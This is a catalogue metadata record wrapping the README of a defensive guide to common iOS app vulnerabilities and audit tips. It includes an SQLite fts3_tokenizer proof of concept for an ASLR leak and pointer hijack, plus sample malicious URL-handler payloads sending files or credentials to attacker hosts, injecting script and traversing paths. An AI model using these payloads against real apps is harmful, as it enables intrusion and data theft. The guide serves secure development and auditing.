{"id":13473463,"url":"https://github.com/felixgr/secure-ios-app-dev","last_synced_at":"2026-01-28T16:01:57.026Z","repository":{"id":92264118,"uuid":"92149994","full_name":"felixgr/secure-ios-app-dev","owner":"felixgr","description":"Collection of the most common vulnerabilities found in iOS applications","archived":false,"fork":false,"pushed_at":"2022-11-30T08:00:37.000Z","size":37,"stargazers_count":1395,"open_issues_count":1,"forks_count":106,"subscribers_count":75,"default_branch":"master","last_synced_at":"2025-03-23T08:12:55.277Z","etag":null,"topics":["ios","security","security-audit","vulnerability-assessment"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/felixgr.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2017-05-23T08:43:50.000Z","updated_at":"2025-03-16T23:30:09.000Z","dependencies_parsed_at":"2023-06-08T05:00:18.731Z","dependency_job_id":null,"html_url":"https://github.com/felixgr/secure-ios-app-dev","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/felixgr/secure-ios-app-dev","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/felixgr%2Fsecure-ios-app-dev","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/felixgr%2Fsecure-ios-app-dev/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/felixgr%2Fsecure-ios-app-dev/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/felixgr%2Fsecure-ios-app-dev/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/felixgr","download_url":"https://codeload.github.com/felixgr/secure-ios-app-dev/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/felixgr%2Fsecure-ios-app-dev/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28846757,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-28T15:15:36.453Z","status":"ssl_error","status_checked_at":"2026-01-28T15:15:13.020Z","response_time":57,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ios","security","security-audit","vulnerability-assessment"],"created_at":"2024-07-31T16:01:03.820Z","updated_at":"2026-01-28T16:01:57.010Z","avatar_url":"https://github.com/felixgr.png","language":null,"funding_links":[],"categories":["iOS","\u003ca id=\"683b645c2162a1fce5f24ac2abfa1973\"\u003e\u003c/a\u003e漏洞\u0026\u0026漏洞管理\u0026\u0026漏洞发现/挖掘\u0026\u0026漏洞开发\u0026\u0026漏洞利用\u0026\u0026Fuzzing","\u003ca id=\"8c5a692b5d26527ef346687e047c5c21\"\u003e\u003c/a\u003e收集","Others (1002)","Others"],"sub_categories":["General - Blogs, Papers, How to's","\u003ca id=\"750f4c05b5ab059ce4405f450b56d720\"\u003e\u003c/a\u003e资源收集"],"readme":"# Secure iOS application development\n\nThis guide is a collection of the most common vulnerabilities found in iOS applications. The focus is on vulnerabilities in the applications’ code and only marginally covers general iOS system security, Darwin security, C/ObjC/C++ memory safety, or high-level application security.\n\nNevertheless, hopefully the guide can serve as training material to iOS app developers that want to make sure that they ship a more secure app. Also, iOS security reviewers can use it as a reference during assessments.\n\n\u003e __Just like any software, this guide will rot unless we update it. We encourage everyone to help us on that, just open an issue or send a pull request!__\n\n\n\n## API-level issues\n\n### API: Generate cryptographically-strong random numbers\n\nGenerally, iOS provides easy-to-use cryptographic interfaces. Don’t implement custom crypto algorithms (besides crypto problems, it can also cause issues during App Store review).\n\nOnly supply cryptographically-strong random numbers to cryptographic functions.\n\n\u003e **Audit tip:** Check that all cryptographically secure random numbers are\n\u003e fetched using the Randomization Services programming interface.\n\nCorrect example:\n\n    int r = SecRandomCopyBytes(kSecRandomDefault, sizeof(int), (uint8_t*) \u0026res);\n\n### API: Prevent leaking sensitive data during app backgrounding\n\nWhen iOS backgrounds an app, a screenshot of the app used to get saved to an\nunencrypted cache on the local file system. This happens for example when the user\npresses the home button. Apple recommends developers to hide any sensitive\ninformation before this occurs. However, when testing iOS 10, the screenshot\nis stored in the encrypted app sandbox. Therefore it is less of a risk.\n\nIf the app is handling sensitive user data, verify that code exists to hide or blur the sensitive elements or the full window.\n\n\u003e **Audit tip:** Check for hiding code in `applicationDidEnterBackground`.\n\nAlternatively, you can set\n\u003ccode\u003e[allowScreenShot](https://developer.apple.com/library/ios/featuredarticles/iPhoneConfigurationProfileRef/Introduction/Introduction.html#//apple_ref/doc/uid/TP40010206-CH1-SW13)\u003c/code\u003e. Using `ignoreSnapshotOnNextApplicationLaunch` seems broken.\n\n### API: Handle the pasteboard securely\n\nIf the pasteboard is marked persistent it may get saved to local storage along with\npotentially sensitive user data. Also, make sure to clear pasteboard when an application backgrounds.\n\n\u003e **Audit tip:** Check for `UIPasteboardNameGeneral` \u0026 `UIPasteboardNameFind`.\n\n### API: Disable auto-correction for sensitive input fields\n\nSome iOS versions cache keyboard entries for auto-correction. This is disabled\nfor password fields but should be disabled for other sensitive fields (e.g.\ncredit card number) as well. Set the following to prevent this:\n\n    UITextField autoCorrectionType = UITextAutocorrectionTypeNo\n\nor mark the text field as secure (hidden input) with the `secureTextEntry` attribute.\n\n\u003e **Audit tip:** Check for sensitive non-password input fields (e.g. credit\n\u003e card) which do not have `UITextAutoCorrectionNo`.\n\n## Data-handling issues\n\n### Handling data: Deserialize data securely\n\nDuring deserialization, some objects are re-instantiated in memory. Thus, if the\nserialized data originates from an untrusted source, code execution might be possible.\n\nWhen writing your own classes, it is generally a good idea to comply with the `NSSecureCoding` protocol, to make sure that classes constructed from external sources are the intended class. It is also required by Apple for classes that are used with inter-application communication (`UIActivityViewController`).\n\n\u003e **Audit tip:** Check for insecure deserialization from untrusted sources. Some\n\u003e deserialization (`NSCoding`, `NSCoder`) must have checks for the deserialized\n\u003e data to be within bounds.\n\n\u003e **Audit tip:** Other deserialization (`CFBundle`, `NSBundle`,\n\u003e `NSKeyedUnarchiverDelegate`, `didDecodeObject`, `awakeAfterUsingCoder`) can\n\u003e directly lead to code execution by returning different objects during\n\u003e deserialization.\n\n\u003e **Audit tip:** Check that nib files are not dynamically loaded from untrusted\n\u003e origins.\n\n### Handling data: Avoid SQL Injection\n\nIf attacker-supplied strings are concatenated to a SQL query, SQL injection on a\nsqlite database may occur. This might leak sensitive information from the\ndatabase or inject malicious payloads.\n\n\u003e **Audit tip:** Check for calls to `sqlite3_exec()` and other non-prepared SQL\n\u003e functions. The functions `sqlite3_prepare*()` should be used instead.\n\nIncorrect example:\n\n```objectivec\nNSString *uid = [myHTTPConnection getUID];\nNSString *statement = [NSString StringWithFormat:@\"SELECT username FROM users\nwhere uid = '%@'\",uid];\nconst char *sql = [statement UTF8String];\n```\n\nCorrect example:\n\n```objectivec\nconst char *sql = \"SELECT username FROM users where uid = ?\";\nsqlite3_prepare_v2(db, sql, -1, \u0026selectUid, NULL);\nsqlite3_bind_int(selectUid, 1, uid);\nint status = sqlite3_step(selectUid);\n```\n\nWhat's even worse, libsqlite3.dylib in iOS supports `fts3_tokenizer` function, which has two security issues by design. This SQL function has two prototype:\n\n```sql\nSELECT fts3_tokenizer(\u003ctokenizer-name\u003e);\nSELECT fts3_tokenizer(\u003ctokenizer-name\u003e, \u003csqlite3_tokenizer_module ptr\u003e);\n```\n\nThe first from can be abused to leak the base address of libsqlite3.dylib, which breaks ASLR.\n\n```objectivec\nFMResultSet *s = [db executeQuery:@\"SELECT hex(fts3_tokenizer('simple')) as fts;\"];\nwhile ([s next]) {\n    NSString *val = [s stringForColumn:@\"fts\"];\n    NSLog(@\"val: %@\", val); // the address of simpleTokenizerModule in libsqlite3.dylib, in big endian\n}\n```\n\nIf the second argument is given, it registers a new tokenizer and the argument is the address of a virtual function table. This will lead to native code execution via SQLite3 callbacks:\n\n```objectivec\n[db executeUpdate:@\"select fts3_tokenizer('simple', x'4141414141414141');\"]; // a fake virtual table\n[db executeUpdate:@\"drop table a if exists;\"]; // in case the virtual table already extst\nFMResultSet *result = [db executeQuery:@\"create virtual table a using fts3;\"];\nNSLog(@\"%d\", [result next]); // trigger pointer dereference\n```\n\nThe crash information:\n\n```\nthread #1: tid = 0x19ac77, 0x0000000184530764 libsqlite3.dylib`___lldb_unnamed_symbol1073$$libsqlite3.dylib + 1500, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4141414141414149)\n```\n\n## App hardening\n\n### Hardening: Enable exploit mitigation compile-time options\n\nIn order to make exploiting iOS applications harder for the attacker, make sure you\nenable platform exploit mitigation options.\n\n\u003e **Audit tip:** Check that compiler and linker flags for exploit mitigation\n\u003e are enabled.\n\nFlags to enable:\n\n*   Objective-C automatic reference counting (`-fobjc-arc`) helps to prevent\n    use-after-free and use-after-release bugs. Enabling ARC might not be always\n    possible with shared code, performance-sensitive code, or legacy codebases.\n    Check with:\n\n    `otool -I -v binary | grep _objc_autorelease`\n\n*   Stack smashing protection (`-fstack-protector-all`). This potentially helps\n    to prevent stack buffer overflows. Check with (should be on by default):\n\n    `otool -I -v binary | grep stack_chk_guard`\n\n*   Full ASLR - position independent executable (`-pie`). This makes it harder\n    for the attacker to find known code locations. (Apple App Store guards this\n    for iPhone 5+ targets). Check with (should be on by default):\n\n    `otool -hv binary | grep PIE`\n\n### Hardening: Check Xcode’s static analysis report\n\nStatic analysis can help to reveal memory leak, use-after-free,\nuse-after-release, and other bugs.\n\n\u003e **Audit tip:** Check the output of Xcode’s \"Build \u0026 Analyze\"\n\n### Hardening: Check that support for third party keyboards is disabled\n\nBy default, iOS8+ allows third-party applications to override the built-in\nkeyboard with may leak keystrokes or words to untrusted parties. Depending on\nthe application risk profile, this may be both a Security and Compliance issue.\nThis is how it can be [disabled in Swift](https://stackoverflow.com/questions/34863291/how-does-one-disable-third-party-keyboards-in-swift).\n\n## Network-level issues\n\n### Networking: Use GTMSessionFetcher communication securely\n\nBy default,\n[GTMSessionFetcher](https://github.com/google/gtm-session-fetcher)\nwon’t load any non-https URL schemes.\n\n\u003e **Audit tip:** Check that no exceptions are made by using\n\u003e `allowedInsecureSchemes`, `allowLocalhostRequest` or\n\u003e `GTM_ALLOW_INSECURE_REQUESTS`.\n\n### Networking: Configure App Transport Security (ATS)\n\nBy default, apps linked against iOS 9 cannot make unprotected\nHTTP connections. Review that the ATS configuration is correct.\n\n\u003e **Audit tip:** Check that no exceptions are done in the `Info.plist`.\n\n\u003e **Audit tip:** Check that the list of HTTPS domains in the `Info.plist` is\n\u003e correct.\n\nIn iOS 10, some new exceptions are available:\n\n1. Exception for streaming media using `AVFoundation`\n\n1. `NSAllowsArbitraryLoadsInWebContent` will exempt ATS in `WKWebView`\n\n### Networking: Use native TLS/SSL securely\n\nSSL should be used on all communication to prevent attackers from reading or\nmodifying traffic on the network.\n\n\u003e **Audit tip:** Check that all APIs besides local WebViews use SSL (https\n\u003e scheme, no http).\n\n\u003e **Audit tip:** Check that authorization tokens are never be passed in URLs but\n\u003e only in headers of HTTPS requests (e.g. as a Cookie header). The concern here\n\u003e is that they are unintentionally logged on a ISP/company proxy or accidentally\n\u003e leaked through referrers without the user’s knowledge.\n\u003e\n\u003e **Audit tip:** Check that no debug options for SSL have been enabled in the\n\u003e release build:\n\u003e\n\u003e *   `NSStream:`\n\u003e     *   `kCFStreamSSLLevel`\n\u003e     *   `kCFStreamSSLAllowsExpiredCertificates`\n\u003e     *   `kCFStreamSSLAllowsAnyRoot`\n\u003e     *   `kCFStreamSSLAllowsExpiredRoots`\n\u003e     *   `kCFStreamSSLValidatesCertificateChain`\n\u003e *   `NSURLRequest`\n\u003e     *   `setAllowsAnyHTTPSCertificate`\n\u003e *   `NSURLConnection`\n\u003e     *   `continueWithoutCredentialForAuthenticationChallenge`\n\u003e *   `ValidatesSecureCertificate`\n\u003e *   `setValidatesSecureCertificate`\n\n## Issues with IO\n\n### IO: Validate incoming URL handler calls\n\nURI handlers are special entry points to the application and can be called from\nemail, chat, browser or other applications. They can be used as delivery vehicles for attacks that exploit logic bugs, XSS, XSRF-style bugs or buffer-overflows.\n\n\u003e **Audit tip:** Check for URI handlers registered and handled by the\n\u003e application (`registerForRemoteNotificationTypes` and `handleOpenURL`).\n\nTo illustrate the problem, some attack ideas that could be feasible:\n\n``` \nmyapp://cmd/run?program=/path/to/program/to/run\nmyapp://cmd/set_preference?use_ssl=false\nmyapp://cmd/sendfile?to=evil@attacker.com\u0026file=some/data/file\nmyapp://cmd/delete?data_to_delete=my_document_ive_been_working_on\nmyapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com\nmyapp://cmd/adduser='\u003e\"\u003e\u003cscript\u003ejavascript to run goes here\u003c/script\u003e\nmyapp://use_template?template=/../../../../../../../../some/other/file\n```\n\n\u003e **Audit tip:** Check that `userInfo` and `launchOptions` are validated during\n\u003e parsing of URI request. For actions after the URL handler, it is important to ask user for\n\u003e confirmation before taking action.\n\nAdditionally, note that other applications could be able to register the same URL handler and intercept requests. When passing highly sensitive information it is preferable to sign and/or encrypt URL handler-transmitted data to prevent leakage and/or forgery.\n\n\n### IO: Validate outgoing requests and URL handlers\n\n\u003e **Audit tip:** Check for outgoing requests made by an `UIWebView`. Only a\n\u003e certain whitelist of schemes should be allowed (http/https) to avoid `file:`,\n\u003e `facetime:`, `facetime-audio:`, `sms:`,\n\u003e or other `app-id:` URLs. Make sure to filter `tel:` URLs (or require user confirmation)\n\u003e because they can be used to automatically dial a cost incurring phone number.\n\nThe correct way to check an outgoing request is shown below:\n\n```objectivec\n- (BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest\n  *)request navigationType:(UIWebViewNavigationType)navigationType;\n```\n\nIf you are using `WKWebView` you'll need to use the\n`-webView:decidePolicyForNavigationAction:decisionHandler:` method in the\n`WKNavigationDelegate` protocol to catch requests like these.\n\n### IO: Prevent WebView UI redressing\n\n\u003e **Audit tip:** Check for WebViews which would allow for browser UI redressing,\n\u003e for example a full screen WebView which could display an UI similar to the\n\u003e original App or to a login screen. Such WebViews could be used by attackers\n\u003e to do phishing.\n\n\u003e **Audit tip:** Check for WebViews which would allow browsing the web like a\n\u003e browser but don't provide typical browser security UI like an URL bar\n\u003e indicating the domain and TLS status. Also, make sure that if the WebView allows\n\u003e browsing the web, common browser security feature like mixed-content prevention\n\u003e are still present in the WebView.\n\n### IO: Avoid XSS in WebViews\n\n\u003e **Audit tip:** Check how the `UIWebView`/`WKWebView` is handling strings because attacks\n\u003e similar to XSS can occur. An XSS in a `UIWebView` can potentially leak local files, for\n\u003e example the address book and cookies. XSS in `WKWebView` is more restricted because\n\u003e `AllowUniversalAccessFromFileURLs` and `AllowFileAccessFromFileURLs` are off by default.\n\u003e Also make sure that the WebView is not prone to redirection which can be utilized for\n\u003e phishing.\n\n### IO: Avoid local HTML preview with UIWebView\n\n\u003e **Audio tip:** Check if file preview functionality is implement with UIWebView. It has\n\u003e the same impact with XSS, except the whole page is under control of attackers. Since the\n\u003e origin is `file://`, UIWebView allows read local files and send AJAX request to arbitrary\n\u003e third party websites.\n\u003e\n\u003e Make sure to use\n\u003e [QLPreviewController](https://developer.apple.com/documentation/quicklook/qlpreviewcontroller)\n\u003e to preview file attachments. It disables javascript on iOS \u003c=9, otherwise it uses WKWebView\n\u003e which doesn't allow local file and cross domain internet access by default.\n\n## Memory corruption issues\n\n### Memory: Prevent NULL byte injection\n\nCF/NS strings contain NULL bytes at different locations. When an insecure\nconversion occurs a string could terminate early.\n\n\u003e **Audit tip:** Check for incorrect conversion between the raw bytes of the\n\u003e `CFDataRef / CFStringRef / NSString` and C strings.\n\nThis example shows incorrect conversion:\n\n```objectivec\nNSString *fname = @\"user_supplied_image_name\\0\";\nNSString *sourcePath = [[NSString alloc] initWithFormat:@\"%@/%@.jpg\",\n                        [[NSBundle mainBundle] resourcePath],\n                        fname];\nprintf(\"%s\", [sourcePath\nUTF8String]);\n// prints [...]Products/Debug/user_supplied_image_name without the .jpg ending\n```\n\n### Memory: Prevent format string attacks\n\nFormat string attacks can be mounted on traditional functions (`printf`, `scanf`,\n`syslog`, etc.), but also on iOS platform functions. The Xcode Build \u0026 Analyze\noption should catch most missing format strings.\n\n\u003e **Audit tip:** Check for missing format strings for the following functions:\n\n*   `CFStringCreateWithFormat`\n*   `CFStringCreateWithFormatAndArguments`\n*   `CFStringAppendFormat`\n*   `[NSString stringWithFormat:]` and other `NSString` methods that take\n    formatted strings as arguments:\n    *   `[NSString initWithFormat:]`\n    *   `[NSString *WithFormat]`\n    *   `[NSString stringByAppendingFormat]`\n    *   `appendingFormat`\n    *   Wrong example:\n\n        `[x stringByAppendingFormat:[UtilityClass formatStuff:attacker.text]];`\n\n    *   Correct example:\n\n        `[x stringByAppendingFormat:@\"%@\", [UtilityClass formatStuff:attacker.text]];`\n\n*   `[NSMutableString appendFormat]`\n*   `[NSAlert alertWithMessageText]`\n*   `[NSPredicate predicateWithFormat:]`\n*   `[NSPredicate predicateWithFormat:arguments:]`\n*   `[NSException raise:format:]` and `[NSException raise:format:arguments:]`\n*   `NSRunAlertPanel` and other Application Kit functions that create or return\n    panels or sheets\n*   `[NSLog]`\n\n## Security considerations for apps built with Swift\n\nKeep the following in mind if you're developing iOS apps with Swift:\n\n*   Swift uses Automatic Reference Counting (ARC) by default, which is very helpful.\n*   If string interpolation is used, there is no risk of a format string attack.\n*   An integer overflow causes a runtime error.\n*   Buffer overflows generally cannot occur due to lack of pointers, except when\n    `UnsafePointer` is used for C-compatibility.\n\nAlso, when handling sensitive memory, be aware that Swift won’t easily let you\nerase sensitive data, e.g. passwords. One way to do this is to use `UnsafeMutablePointer` or an\n`UnsafeCollection` (see [Secure Memory for Swift\nObjects](http://stackoverflow.com/questions/27715985/secure-memory-for-swift-objects)\nfor more information).\n\n## Guide: Where should I store my data on iOS?\n\n### Where can I store my data?\n\n*   [Keychain\n    Services](https://developer.apple.com/library/ios/documentation/Security/Reference/keychainservices/)\n    *   Encrypted key/value store designed to hold:\n        *   Generic passwords\n        *   Internet passwords (password + protocol + server)\n        *   Certificates\n        *   Private Keys\n        *   Identities (certificate + private key)\n    *   Max raw value size is ~16MB.\n    *   Keychains may be shared (this is how SSO works on iOS) or private to the\n        app.\n        *   Keychains can only be shared by apps from the same vendor.\n        *   Enterprise/Dogfood apps have a different vendor ID compared to Prod.\n\nYour application has access to its own app-specific filesystem sandbox; please\nrefer to Apple’s [File System Programming\nGuide](https://developer.apple.com/library/ios/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12)\n(specifically, the iOS sections) for more details.\n\n*   Documents/\n    *   User-created data that should be visible to the user\n    *   Optionally visible to the user in iTunes\n        *   Subdirectories generally aren’t, special tools can still open them\n    *   Backed up\n        *   User can disable backup for specific apps\n        *   App can disable paths by setting\n            \u003ccode\u003e[NSURLIsExcludedFromBackupKey](https://developer.apple.com/library/ios/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28)\u003c/code\u003e\n*   Library/Caches/\n    *   Semi-persistent cached files\n    *   Not visible to the user\n    *   Not backed up\n    *   May be deleted by the OS at any time if the app is not running\n        *   Managed automatically in response to storage pressure\n*   Library/Application Support/\n    *   Persistent files necessary to run the app\n    *   Not visible to the user\n    *   Backed up\n        *   User can disable backup for specific apps\n        *   App can disable paths by setting\n            \u003ccode\u003e[NSURLIsExcludedFromBackupKey](https://developer.apple.com/library/ios/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28)\u003c/code\u003e\n*   Library/Preferences/\n    *   As /Application Support/\n    *   By convention, only files created with \u003ccode\u003eNSUserDefaults\u003c/code\u003e\n*   Library/*\n    *   As /Application Support/\n*   tmp/\n    *   Non-persistent cached files\n    *   Not visible to the user\n    *   Not backed up\n    *   Periodically deleted by the OS when the app is not running\n\n### Does the OS protect the keychain? How?\n\nThe keychain, on modern iOS devices (post-Touch ID) is secured using a [hardware\nmodule](https://www.google.com/search?q=secure+enclave).\nThere are no known attacks that directly compromise the keychain via hardware or\nsoftware; jailbroken devices are vulnerable to certain attacks.\n\nKeychain backups (to iCloud) cannot be recovered without the user’s iCloud\npassword. Keychain data is not included in local backups unless that backup is\nencrypted with a password.\n\n### Does the OS protect my files on disk? How?\n\nYes, the OS provides four levels of protection. Note that backups to iCloud are\nalways encrypted and that backups in iTunes are optionally encrypted;\nunencrypted backups do not back up data marked in any of the protected classes\nbelow. The device’s filesystem is encrypted on modern iOS on the DMA path; these\noptions add extra layers of security.\n\n*   `NSFileProtectionComplete` - most secure\n    *   Only readable if device is unlocked.\n    *   File is closed when the device is locked.\n    *   Suitable for most apps and data.\n*   `NSFileProtectionCompleteUnlessOpen`\n    *   File can only be opened when the device is unlocked.\n    *   File is not closed when the device is locked.\n    *   File is encrypted when the last open handle is closed.\n    *   Suitable for data that is uploaded in the background, etc.\n*   `NSFileProtectionCompleteUntilFirstUserAuthentication` **(default)**\n    *   File is inaccessible until the device is unlocked once after boot.\n    *   Suitable for background processes that should start ASAP after boot.\n        *   Geofence data\n        *   Bluetooth accessories (e.g. Android Wear)\n    *   In general, all user data should be at least at this level.\n*   `NSFileProtectionNone` - least secure\n    *   No protection.\n    *   Suitable for certain applications that must access data immediately on\n        boot without any user interaction. This encryption/decryption is\n        handled by the OS and the keychain transparently. The relevant\n        decryption key is created from the keychain when appropriate and erased\n        from memory when appropriate; see [this\n        guide](https://developer.apple.com/library/ios/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/StrategiesforImplementingYourApp/StrategiesforImplementingYourApp.html#//apple_ref/doc/uid/TP40007072-CH5-SW21)\n        for more details.\n\n### Where should I store my data?\n\n*   Sensitive and persistent data - credentials, tokens, etc? Keychain.\n*   Large sensitive and persistent files?\n    *   Save it to the `Library/*` directory.\n    *   Exclude it from backups.\n        *   Keychain backups have a higher level of security than filesystem\n            backups.\n    *   Set appropriate encryption options - as secure as possible.\n*   Sensitive cache data?\n    *   Save it to `Library/Caches/*`\n    *   Set appropriate encryption options - as secure as possible.\n*   Application configuration?\n    *   `NSUserDefaults`? `Library/Preferences/[Name].plist`\n    *   Other/custom format? `Library/Application Support/*`\n    *   Set appropriate encryption options - as secure as possible.\n*   Persistent content that should be backed up?\n    *   User-generated and user-visible?\n        *   `Documents/*` directory.\n        *   Don’t use subdirectories if you want users to use iTunes file\n            sharing.\n        *   `NSFileProtectionCompleteUntilFirstUserAuthentication` is probably\n            the most appropriate option for encryption, if desired.\n            *   Note that malware on a trusted computer can access this\n                directory if iTunes file sharing is enabled.\n    *   Shouldn’t be visible to the user?\n        *   `Library/Application Support/*`\n        *   Set appropriate encryption options.\n\n## Best practices for storage\n\n### Store files securely\n\nA stolen or lost iOS device can be potentially jailbroken or disassembled and the\ncontents of the local file system can be read. Therefore iOS app developers need\nto make sure to encrypt sensitive information like credentials or other private\ninformation.\n\nKeychain already allows you to prevent items from ever leaving the device or be\nincluded in backups.\n\nIn addition to that:\n\n*   Items can be made to require user consent when accessed;\n*   That consent can be set to Touch ID with the device password as fallback;\n*   Items can be made inaccessible if passcode is removed.\n\nThe safest scenario would require flagging items as device-only, requiring Touch\nID for access, and invalidated if passcode is ever removed.\n\nRemember: you can also store any piece of text in Keychain, not just username\nand password credentials. Apple uses this to synchronize Wifi credentials\nbetween devices so that when you connect your laptop to a network, your phone\nwill be able to as well a few seconds later when synchronization finishes,\nsaving you from entering those long passwords on your phone. For more\ninformation on the details check out the [Apple iOS Security white\npaper](http://www.apple.com/business/docs/iOS_Security_Guide.pdf).\n\n\u003e **Audit tip:** Check for stored data which is not using\n\u003e `kSecAttrAccessibleWhenUnlocked` or `kSecAttrAccessibleAfterFirstUnlock`. For\n\u003e example, if it is using `kSecAttrAccessibleAlways`, then the data is not\n\u003e sufficiently protected.\n\n\u003e **Audit tip:** Check for files created with `NSFileProtectionNone` - they\n\u003e have no protection. Note that files created without explicit protection do\n\u003e not necessarily use `NSFileProtectionNone`. Make sure one of the following is\nused:\n\u003e\n\u003e *   `NSFileProtectionComplete`\n\u003e *   `NSFileProtectionCompleteUnlessOpen` (key stays in memory while locked and\n\u003e     file opened)\n\u003e *   `NSFileProtectionCompleteUntilFirstUserAuthentication` (key stays in\n\u003e     memory when locked)\n\n### Create secure temporary files\n\n\u003e **Audit tip:** Check that secure temporary files and directories are used -\n\u003e for example, `URLForDirectory`, `NSTemporaryDirectory`,\n\u003e `FSFindFolder(kTemporaryFolderType)`. See also [Create Temporary Files\n\u003e Correctly](https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html#//apple_ref/doc/uid/TP40002585-SW10)\n\u003e in the Apple Secure Coding Guide.\n\n### Avoid insecure destination files and APIs\n\n\u003e **Audit tip:** Check for private information (PII) in NSLog/Alog, plist or\n\u003e local sqlite databases. It may not be encrypted. Logging is encrypted as of iOS 10.\n\n\u003e **Audit tip:** Check that only appropriate user-specific non-sensitive\ninformation is written to iCloud storage. Use `NSURLIsExcludedFromBackupKey` to\nprevent backup of files to iCloud and iTunes.\n\n\u003e **Audit tip:** For the Keychain, check that `kSecAttrSynchronizable` is false\n\u003e if the item is not intended for iCloud Keychain backup (it is false by\n\u003e default).\n\n\u003e **Audit tip:** Check that\n\u003e [NSUserDefaults](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSUserDefaults_Class/)\n\u003e does only contain settings and no personal information.\n\n\n## Testing for Devices with Jailbreak\n\nChecking whether a device is jailbroken can be helpful to make certain in-app security decisions. Attackers can run tools like Cycript, Frida, GDB, or Snoop-it to perform runtime analysis and steal sensitive data from within your application. Jailbreak detection can prevent that.\n\n\u003e **Audit tip:** Test that the app is not working on jaibroken devices.\n\n\u003c!--\n\nNOTE(felixgr): this code isn't great but we're also not in the business of JB detection so let's just comment it out.\n\nBelow is sample code for testing if a device is jailbroken. Note however that Jailbreak tests can be circumvented by skilled attackers and apps should not rely solely on Jailbreak detection as a security control.\n\n```objc\n+(BOOL)isJailbroken{\n#if !(TARGET_IPHONE_SIMULATOR)\n  if ([[NSFileManager defaultManager] fileExistsAtPath:@\"/Applications/Cydia.app\"]){\n    return YES;\n  }else if([[NSFileManager defaultManager] fileExistsAtPath:@\"/Library/MobileSubstrate/MobileSubstrate.dylib\"]){\n    return YES;\n  }else if([[NSFileManager defaultManager] fileExistsAtPath:@\"/bin/bash\"]){\n    return YES;\n  }else if([[NSFileManager defaultManager] fileExistsAtPath:@\"/usr/sbin/sshd\"]){\n    return YES;\n  }else if([[NSFileManager defaultManager] fileExistsAtPath:@\"/etc/apt\"]){\n    return YES;\n  }\n \n  NSError *error;\n  NSString *stringToBeWritten = @\"This is a test.\";\n  [stringToBeWritten writeToFile:@\"/private/jailbreak.txt\" atomically:YES encoding:NSUTF8StringEncoding error:\u0026amp;error];\n  if(error==nil){\n    return YES;\n  } else {\n    [[NSFileManager defaultManager] removeItemAtPath:@\"/private/jailbreak.txt\" error:nil];\n  }\n \n  if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@\"cydia://package/com.example.package\"]]){\n    return YES;\n  }\n#endif\n \n  // All checks have failed. Most probably, the device is not jailbroken.\n  return NO;\n}\n```\n\n---\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffelixgr%2Fsecure-ios-app-dev","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ffelixgr%2Fsecure-ios-app-dev","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ffelixgr%2Fsecure-ios-app-dev/lists"}